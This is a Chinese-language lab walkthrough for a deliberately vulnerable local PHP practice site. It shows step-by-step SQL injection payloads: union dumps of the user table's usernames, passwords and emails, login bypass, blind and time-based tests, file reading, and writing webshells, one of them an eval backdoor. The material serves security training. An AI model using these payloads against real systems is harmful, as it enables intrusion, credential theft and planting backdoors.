0x00 靶场搭建
-
下载地址
https://github.com/admin360bug/PHP
-
安装方法
导入localhost.sql数据库
修改APP/mysql.class.php 数据库配置文件 数据库账号 密码 数据库名字phpstudy 集成环境
Apache 2.4.39
mysql 5.7.26
php 7.3.4
0x01 sql注入测试
1.1 常规sql注入测试 联合查询注入
任务 get post cookie 任选一种传参方式 传id参数 测试
(1)看正常情况
http://www.bachang.com/?id=1
www.bachang.com/?id=1’
页面报错
猜测 应该为数值型 注入
sql语句可能为
select * from xx表 where id = $id;
(2)测试是否存在sql注入
www.bachang.com/?id=1 and 1=1
www.bachang.com/?id=1 and 1=2
说明 我输入的数据拼接到sql语句中执行了,存在sql注入。
(3)测试字段数
用 order by 1 2 3
根据第几个字段排序 所以当超出字段数 就会报错 不显示数据
最后测试为 5个字段
www.bachang.com/?id=1 order by 5
www.bachang.com/?id=1 order by 6
(4)判断回显点
www.bachang.com/?id=-1 union select 1,2,3,4,5
(5)爆库
爆所有库
www.bachang.com/?id=-1 union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata
爆当前库 用户 版本
www.bachang.com/?id=-1 union select 1,database(),user(),version(),5
(6)爆当前库的表
ww.bachang.com/?id=-1 union select 1,group_concat(table_name),3,4,5 from information_schema.tables where table_schema = database()
(7)爆sql_user表的字段
www.bachang.com/?id=-1 union select 1,group_concat(column_name),3,4,5 from information_schema.columns where table_name = ‘sql_user’
(8)爆 username password email blog 字段值
www.bachang.com/?id=-1 union select 1,group_concat(username,0x7e,password,0x7e,email,0x7e,blog),3,4,5 from sql_user
1.2 布尔盲注测试
布尔盲注原理
页面响应只有两种情况,真 (登录成功) 假 (登录失败)
先判断库名,表名,字段名,字段值长度 length()
再判断每位的值 ascii() substr()
一般写脚本
任务 这是盲注
使用GET POST COOKIE 中的一个方式传入Username 与 Password 变量来进行测试漏洞
(1)看登录失败和成功页面响应情况
www.bachang.com/index.php/Home/Index/SQL_tow/?Username=admin&Password=admin1
www.bachang.com/index.php/Home/Index/SQL_tow/?Username=admin&Password=admin
猜测 代码中的sql语句应该为
select * from xx表 where Username='$Username' and Password='$Password'
(2)测试是否存在sql注入
猜想是 单引号 闭合 测试
www.bachang.com/index.php/Home/Index/SQL_tow/?Username=admin&Password=admin’ and ‘1’='1
www.bachang.com/index.php/Home/Index/SQL_tow/?Username=admin&Password=admin’ and ‘1’=‘2
存在sql注入 根据 页面只有两种回显情况 判断 为布尔盲注
也可以加
ww.bachang.com/index.php/Home/Index/SQL_tow/?Username=admin&Password=admin’ and 1=1%20 --+
www.bachang.com/index.php/Home/Index/SQL_tow/?Username=admin&Password=admin’ and 1=2%20 --+
绕过登录验证
or 有真则真
知道用户名
www.bachang.com/index.php/Home/Index/SQL_tow/?Username=admin’ or 0–+
不知道用户名 or 1
www.bachang.com/index.php/Home/Index/SQL_tow/?Username=1123123’ or 1 --+
(3)跑boolean.py脚本
https://blog.csdn.net/YouthBelief/article/details/121672138
1.3 时间盲注测试
(1)正常情况
无论传参为id= 几 都显示相同页面
(2)测试是否存在sql注入
采用时间盲注测试
www.bachang.com/index.php/Home/Index/SQL_three?id=2 and sleep(5) --+
www.bachang.com/index.php/Home/Index/SQL_three?id=2’ and sleep(5) --+
说明是 单引号闭合 存在sql注入 时间盲注
(3)跑脚本
脚本链接
https://blog.csdn.net/YouthBelief/article/details/120980524
1.4 limit 注入 (无order by)
- 注意
需要 mysql 5.7.26以下,下方实验 mysql版本修改为5.5.29
提示
源码
(1)正常情况
(2)判断回显位置
www.bachang.com/index.php/Home/Index/SQL_four?limit=1,1 union select 1,2,3,4,5
(3)爆库
www.bachang.com/index.php/Home/Index/SQL_four?limit=1,1 union select 1,2,3,4,group_concat(schema_name) from information_schema.schemata
(4)后续同联合查询注入一样
1.5 order by 注入
代码
$sql = "select * from sql_user where Id = '1' order by {$_REQUEST['order']}";
(1)此处为 无回显的order by 注入
payload :
www.bachang.com/index.php/Home/Index/SQL_five?order=id PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(if(mid(version(),1,1) like 5, BENCHMARK(20000000,SHA1(1)),1))))),1);
根据时间响应 可以判断出 version() 第一位为5 是正确的。
1.6 union写shell
(1)条件
需要知道网站绝对路径
secure_file_priv 不等于null
用户具有写入权限。
-
查询 写入权限 root用户可以
select file_priv,user,host from mysql.user;
-
查看secure_file_priv
show global variables like '%secure_file_priv%';
如果为null的话,修改数据库配置文件 手动添加
-
网站绝对路径
F:\phpstudy_pro\www.bachang.com
(2)操作
paylaod :
www.bachang.com/index.php/Home/Index/SQL_six/?id=1 union select 1,2,3,"<?php phpinfo(); ?>",5 into outfile “F:\phpstudy_pro\www.bachang.com\hack.php”
1.7 order by 写入webshell
写文件函数
union select 后写入
lines terminated by 后写入
lines starting by 写入
fields terminated by 写入
columns terminated by 写入
操作
fields terminated by 写入
www.bachang.com/index.php/Home/Index/SQL_seven?order=1 into outfile “F:\phpstudy_pro\www.bachang.com\orderby.php” FIELDS TERMINATED BY “123123123123<?php phpinfo(); ?>”
lines starting by 写入
www.bachang.com/index.php/Home/Index/SQL_seven?order=1 into outfile “F:\phpstudy_pro\www.bachang.com\orderby1.php” LINES TERMINATED BY “lines terminater by<?php phpinfo(); ?>”
columns terminated by 写入
www.bachang.com/index.php/Home/Index/SQL_seven?order=1 into outfile “F:\phpstudy_pro\www.bachang.com\orderby2.php” columns%20 terminated by%20 "columns%20 terminated by <?php phpinfo(); ?>"
lines starting by 写入
www.bachang.com/index.php/Home/Index/SQL_seven?order=1 into outfile “F:\phpstudy_pro\www.bachang.com\orderby3.php” lines starting by "lines starting by <?php phpinfo(); ?>"
1.8 limit 写入webshell
- 执行的sql代码
如果在$_REQUEST[‘limit’] 中 匹配到 file 字符串,就将limit参数传入的值 传入sql语句中执行。
if(preg_match("/file/",$_REQUEST['limit'])){
$sql = "select * from sql_user where Id = '1' limit {$_REQUEST['limit']}";
操作
union select 写入
www.bachang.com/index.php/Home/Index/SQL_eit?limit=0,1 union select 1,2,3,“limit union select”,"<?php eval($_REQUEST[1]); ?>" into outfile “F:\phpstudy_pro\www.bachang.com\limit.php”
lines starting by 写入
www.bachang.com/index.php/Home/Index/SQL_eit?limit=0,1 into outfile “F:\phpstudy_pro\www.bachang.com\limit2.php” lines starting by "limit lines starting by <?php phpinfo(); ?>"
1.9 union 读取文件
- 代码
- 如果在请求的id参数中 匹配到 load_file,执行下方sql语句
if(preg_match("/load_file/",$_REQUEST['id'])){
$sql = "select * from sql_user where Id = '{$_REQUEST['id']}'";
(1)测一下回显位
ww.bachang.com/index.php/Home/Index/SQL_nine?id=0’ union select 1,2,3,4,“load_file” --+
(2)读取文件
www.bachang.com/index.php/Home/Index/SQL_nine?id=0’ union select 1,2,3,load_file(“D:/test.txt”),5 ’
读取成功
如果没有回显
也可以用盲注读取文件内容